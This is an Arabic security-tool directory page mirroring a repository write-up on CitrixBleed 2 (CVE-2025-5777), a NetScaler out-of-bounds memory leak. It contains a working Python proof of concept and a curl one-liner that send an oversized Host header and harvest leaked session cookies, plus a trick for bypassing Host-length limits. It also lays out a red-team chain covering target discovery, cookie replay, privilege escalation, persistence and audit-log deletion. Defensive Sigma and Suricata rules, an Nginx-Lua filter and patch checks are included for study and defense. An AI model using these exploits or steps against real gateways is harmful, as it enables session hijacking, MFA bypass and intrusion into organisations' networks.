Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
أدوات دفاعيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالتعلم والتعليمالفريق الأحمرالاستجابة للحوادث

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مختبرات وتدريب عملي
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

شرح تفصيلي لـ CitrixBleed 2 — CVE-2025-5777 (تسريب خارج الحدود) PoC وعدة الكشف

عرض المستودع
1721منذ سنة واحدةلم تتم المراجعة بعد
مشاركة

CitrixBleed 2 (CVE-2025-5777) التحليل النهائي

قراءة ذاكرة خارج الحدود (Out-of-Bounds Memory Read) في NetScaler ADC / Gateway — دليل شامل من الأسباب الجذرية إلى تدريبات الهجوم والدفاع


استخدام PoC: python3 poc.py https://gateway.example.com

استخدام أداة الاستغلال: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

المحتويات

root@kitploit:~
0x00  مقدمة / نظرة سريعة
0x01  الخلفية: بنية NetScaler واستعراض CitrixBleed 1
0x02  وصف الثغرة (الإصدارات المتأثرة، CVSS، عواقب الاستغلال)
0x03  تشريح عميق لآلية الاستغلال (تحليل على مستوى الكود المصدري ولقطات التصحيح)
0x04  PoC مصغّر + سكربت مسح متقدم
0x05  منظور الفريق الأحمر: سلسلة الهجوم الكاملة (الاكتشاف → التسريب → اختطاف الجلسة → الحركة الجانبية في الشبكة الداخلية)
0x06  منظور الفريق الأزرق: الكشف والطب الشرعي والتحقق من التصحيح
0x07  تحصين الدفاع: التصحيح وWAF والإعدادات وإدارة الأصول
0x08  خارطة طريق التعلم / المراجعة والتجارب العملية
الملحق A  قواعد Sigma / Suricata / Nginx-Lua
الملحق B  الجدول الزمني للتصحيح/الاستغلال ولقطات IoC
المراجع

0x00 مقدمة / نظرة سريعة

  • CVE-2025-5777 (المعروف أيضًا باسم CitrixBleed 2) هو قراءة ذاكرة خارج الحدود (Out-of-Bounds Memory Read) في Citrix NetScaler ADC / Gateway.
  • لا يحتاج المهاجم إلى مصادقة؛ يكفي إرسال طلب GET برأس Host طويل جدًا ليجعل الجهاز "يبصق" كتلًا عشوائية من الذاكرة مع استجابة HTTP إلى العميل.
  • غالبًا ما تتضمن البيانات المسرّبة مواد حرجة مثل كوكيز NSC_USER / NSC_TASS وStateContext الخاصة بـ SAML ورموز MFA، ويمكن إعادة استخدامها مباشرةً لاختطاف الجلسات وتجاوز MFA (arcticwolf.com, tenable.com).
  • الدرجة المرجعية في CVSS v4 هي 9.3 (حرجة) (netscaler.com).
  • أُعلن عنها في 2025-06-17، وفي 2025-06-23 وسّعت Citrix نطاق التأثير وأصدرت تصحيحًا؛ وخلال أسبوع واحد رصدت شركات أمنية مثل ReliaQuest وBishop Fox تباعًا ارتفاعًا حادًا في الاستغلال الفعلي في البرية (reliaquest.com, bishopfox.com).

0x01 الخلفية

1.1 نبذة عن سير عمل NetScaler

root@kitploit:~
┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② مصادقة AAA / Gateway
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ توجيه إلى التطبيق
│ CVPN / RDP   │
└──────────────┘

يعتمد NetScaler تصميم متعدد العمليات + IPC داخلي. تتولى WebProc معالجة معظم طلبات HTTP ضمن مسار AAA / Gateway، بما في ذلك /nf/auth/* و/oauth/* وغيرها. وتستخدم بكثرة snprintf() / memcpy() في لغة C عند تجميع مقاطع XML/HTML في كل مرة.

1.2 استعراض CitrixBleed 1 (CVE-2023-4966)

  • في عام 2023، حدثت ثغرة من الفئة نفسها في واجهة اكتشاف OAuth /oauth/idp/.well-known/openid-configuration.
  • كان جوهرها أيضًا استخدام القيمة المُعادة من snprintf كمعامل len في send() اللاحقة ← صدى ذاكرة خارج الحدود.
  • تُثبت CitrixBleed 2 أن النوع نفسه من عيوب البرمجة الآمنة ما زال كامنًا في مسارات أخرى.

الدرس المستفاد: إذا استهدفت التصحيحات الأمنية "نقطة التأثير" فقط دون "نمط البرمجة"، فستترك مساحةً لإعادة الاستغلال "بنمط موحّد".


0x02 وصف الثغرة (الإصدارات المتأثرة، CVSS، عواقب الاستغلال)


0x03 تشريح عميق لآلية الاستغلال (تحليل على مستوى الكود المصدري ولقطات التصحيح)

يعتمد هذا القسم على فك تجميع البرنامج الثابت 13.1-55.18 وتصحيح الأخطاء عبر gdb، بالإضافة إلى مدونات عامة (bishopfox.com).

3.1 نقطة دخول الثغرة

  • URI: /nf/auth/startwebview.do
  • المعامل القابل للتحكم: رأس HTTP Host
  • تُستخدم هذه الواجهة لتوليد XML إعادة التوجيه لتطبيق Citrix Workspace WebView. مثال على استجابة طبيعية:
root@kitploit:~
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 سلسلة الدوال الرئيسية

root@kitploit:~
citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ يمكن أن تكون length أكبر من 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

موقع الخلل: تُرجع snprintf "الطول الذي كان يجب كتابته" وليس الطول الفعلي المكتوب؛ إذا كان رأس Host المُرسل من المستخدم > 0x1800 - طول المقطع الثابت، فإن length > sizeof(buf).

3.3 توضيح وقت التشغيل

root@kitploit:~
buf: [-----XML-----][OOB][OOB][OOB]......            <- حد 0x1800 بايت
                          ↑
        تُرسَل هذه البايتات أيضًا بواسطة ns_vpn_send_response

عرض نقاط التوقف في GDB (السجلات الرئيسية):

root@kitploit:~
RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

أظهرت نتائج read() أن آخر 1600 بايت تأتي من ذاكرة غير مهيأة، وكانت مخازن كوكيز من جلسات SSL أخرى ظاهرةً فيها.

3.4 فئات البيانات المسرّبة

الفئةمقطع توضيحي (تم إخفاء البيانات الحساسة)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP Tokenradius_state=0e2a9c6d1553...
محتوى طلبات أخرى<username>audituser</username><password>***</password>

0x04 تنفيذ PoC

4.1 Python بملف واحد (15 سطرًا)

root@kitploit:~
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
  • بعد التنفيذ، إذا أُرجعت استجابة 200 بحجم عدة كيلوبايتات، يُحكم بوجود الثغرة.
  • ثم ابحث في leak.bin عن كلمات مفتاحية مثل Cookie= و<AuthenticateContext> وغيرها.

4.2 سطر واحد عبر Bash / curl

root@kitploit:~
curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

تجاوز: تفرض بعض الأجهزة قيدًا على طول رأس Host عبر F5 / Nginx في الواجهة الأمامية؛ يمكن التحايل عليه بتجميع نطاقات فرعية متعددة، مثل foo.foo.foo.…foo.example.com (بتكرار foo 3000 مرة).


0x05 منظور الفريق الأحمر: سلسلة الهجوم الكاملة (الاكتشاف → التسريب → اختطاف الجلسة → الحركة الجانبية في الشبكة الداخلية)

حالة واقعية: رصدت ReliaQuest على بوابة أحد العملاء "دفعة كبيرة من الطلبات برأس Host يتجاوز 6 كيلوبايت في فترة قصيرة ← اختطافًا للجلسات بعدها مباشرة" (reliaquest.com).


0x06 منظور الفريق الأزرق: الكشف والطب الشرعي والتحقق من التصحيح

6.1 السجلات ومؤشرات الاختراق (IoC)

المصدرالعلامة
/var/log/ns.logAAA_TRANSACTION <client_ip> - Host header length: 6144

6.2 قاعدة Sigma (نسخة مختصرة)

root@kitploit:~
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 سكربت التحقق من التصحيح

root@kitploit:~
nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 إنهاء الجلسات

root@kitploit:~
# إنهاء جميع اتصالات VPN/ICA النشطة
kill icaconnection -all
kill vpn -all

ملاحظة: بعد تطبيق التصحيح، ما زال من الضروري فرض تسجيل خروج إجباري على الجميع لمنع المهاجمين من مواصلة استخدام الكوكيز المسروقة.


0x07 تحصين الدفاع: التصحيح وWAF والإعدادات وإدارة الأصول

  1. التصحيح الرسمي: الترقية إلى ≥ 14.1-43.56 / 13.1-58.32، أو تطبيق الإصدار المقابل على طرازات FIPS/NDcPP (netscaler.com).
  2. تقييد طول رأس Host (إجراء مؤقت)
root@kitploit:~
map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}
  1. قواعد WAF التكيفية: فعّل تحديد المعدل على مساري /nf/auth/ و/oauth/ (مثل 20 طلبًا/دقيقة).
  2. جرد الأصول: إصدارات نهاية الدعم (EOL) 12.1/13.0 لن تحصل على تصحيحات رسمية إطلاقًا؛ خطط لاستبدالها أو عزلِها بعزل مشدد (support.citrix.com).
  3. أمان MFA: تسريب الجلسة يتجاوز MFA ← يُنصح بتفعيل "توقيع لكل طلب" أو "ربط ديناميكي ببصمة العتاد"، بدلًا من التحقق عند أول تسجيل دخول فقط.

0x08 خارطة طريق التعلم / المراجعة والتجارب العملية


الملحق A — مقتطفات الكشف / الدفاع

📜 النسخة الكاملة لقاعدة Sigma
root@kitploit:~
title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical
🛡️ قاعدة Suricata
root@kitploit:~
alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)
🔒 تصحيح فوري عبر Nginx-Lua
root@kitploit:~
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

الملحق B — الجدول الزمني


المراجع

  1. الإعلان الأمني الرسمي وملاحظات التصحيح من Citrix (netscaler.com)
  2. Arctic Wolf «الموجز التقني حول CVE-2025-5777» (arcticwolf.com)
  3. Bishop Fox «قراءة الذاكرة خارج الحدود في NetScaler» (bishopfox.com)
  4. ReliaQuest «بؤرة التهديد: CitrixBleed 2» (reliaquest.com)
  5. الأسئلة الشائعة من Tenable حول CVE-2025-5777 (tenable.com)
  6. النشرة الأمنية من BleepingComputer (bleepingcomputer.com)
  7. إدخال NVD لـ CVE-2025-5777 (nvd.nist.gov)
  8. قاعدة معرفة دعم Citrix CTX693420 (support.citrix.com)

النهاية — نأمل أن يساعدك هذا المستند على فهم CitrixBleed 2 والتعامل معه من جميع الجوانب. إذا احتجت مزيدًا من الأمثلة أو النصوص البرمجية أو إرشادات التدريبات العملية، فلا تتردد في طلبها!

تنزيل الأداة
الحقلالمحتوى
CVECVE-2025-5777
الاسم المستعارCitrixBleed 2
نوع الثغرةقراءة خارج الحدود / تسريب معلومات
CVSS v4 Base9.3 (حرجة) (netscaler.com)
الإصدارات المتأثرة< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com)
شروط الاستغلالأن يكون NetScaler مهيأً كبوابة Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) أو كخادم AAA افتراضي (arcticwolf.com)
عواقب الاستغلالتسريب الذاكرة → رموز الجلسة → تجاوز المصادقة / تجاوز MFA → حركة جانبية
الخطوةالهدف والتقنية
① اكتشاف الأصولzoomeye search "http.title:\"NetScaler Gateway\"" + Shodan وغيرها؛ التصفية وفق set-cookie: NSC_
② تسريب عبر PoCنصوص برمجية مجمّعة ترسل الطلبات بالتوازي؛ والتقاط NSC_USER= ; NSC_TASS=
③ إعادة تشغيل الكوكيزChrome DevTools→Application→Cookies→إضافة عنصر، ثم تحديث /vpn/index.html
④ موارد الشبكة الداخليةالوصول إلى storeweb/#home للحصول على ملفات RDP؛ تنزيل .ica والدخول مباشرة إلى VDI
⑤ رفع الصلاحياتحقن بيانات الاعتماد داخليًا، Kerberoast، ADCS ESC1؛ أو استغلال كلمات مرور SMB الضعيفة في الشبكة نفسها
⑥ الثباتإنشاء مهمة مجدولة؛ تسجيل سكربتات إقلاع تلقائي؛ أو تعديل vDisk الخاص بـ NetScaler (يتطلب صلاحيات عالية أو إهمالًا تشغيليًا)
⑦ تنظيف الآثارحرق الكوكيز فور استخدامها؛ حذف سجلات التدقيق (إن حصلت على صلاحيات root لـ NS)؛ أو الكتابة فوقها عبر استغلال سباق logrotate
HTTP_ACCESS.logطلبات /nf/auth/startwebview.do بزمن استجابة قصير جدًا لكن بحجم استجابة غير طبيعي (> 2 كيلوبايت)
EDR/PCAPظهور Set-Cookie: NSC_USER= في استجابات لطلبات غير مرتبطة بتسجيل الدخول
المرحلةالمواد المقترحة والإجراءات
النظرياقرأ النشرات الأمنية لـ Citrix، والأسئلة الشائعة من Arctic Wolf / Tenable، والتفكيك التقني من Bishop Fox (arcticwolf.com, tenable.com, bishopfox.com)
التجريبيانشر النسخة الثغرية 13.1-55.18 (ESXi / KVM)، وشغّل PoC مصغّرًا، والتقط الحزم بـ Wireshark → لاحظ حزم TCP PSH في الاستجابة
البرمجيأعد كتابة الـ PoC: أضف إعادة تشغيل تلقائية للكوكيز، ومسحًا مجمعًا عبر ZTLS، وطابورًا متعدد الخيوط
الفريق الأزرقابحث عن أطوال Host غير طبيعية ضمن نافذة زمنية مدتها ساعتان؛ مرّر Sigma إلى Elastic/Graylog؛ أعد إنتاج استراتيجيات WAF والتحقق منها
المشاركةاكتب تدوينة أو أنشئ خريطة ذهنية تلخّص "مزالق استخدام snprintf من الفئة نفسها"
التاريخ (2025)الحدث
06-17تنشر Citrix الإعلان الأول عن CVE-2025-5777 (netscaler.com)
06-18تنشر Bishop Fox أول تفكيك تقني وPoC (bishopfox.com)
06-23تحدّث Citrix نطاق التأثير وإصدارات التصحيح؛ وتُدرج CISA الثغرة في قائمة KEV
06-25تبلّغ ReliaQuest عن استغلال نشط؛ مجموعات تهديد تسرق الجلسات بشكل جماعي (reliaquest.com)
06-27تنقل BleepingComputer "احتمال استغلال واسع النطاق" (bleepingcomputer.com)
06-28تظهر عدة PoCs على GitHub؛ وتنشر Tenable الأسئلة الشائعة (tenable.com)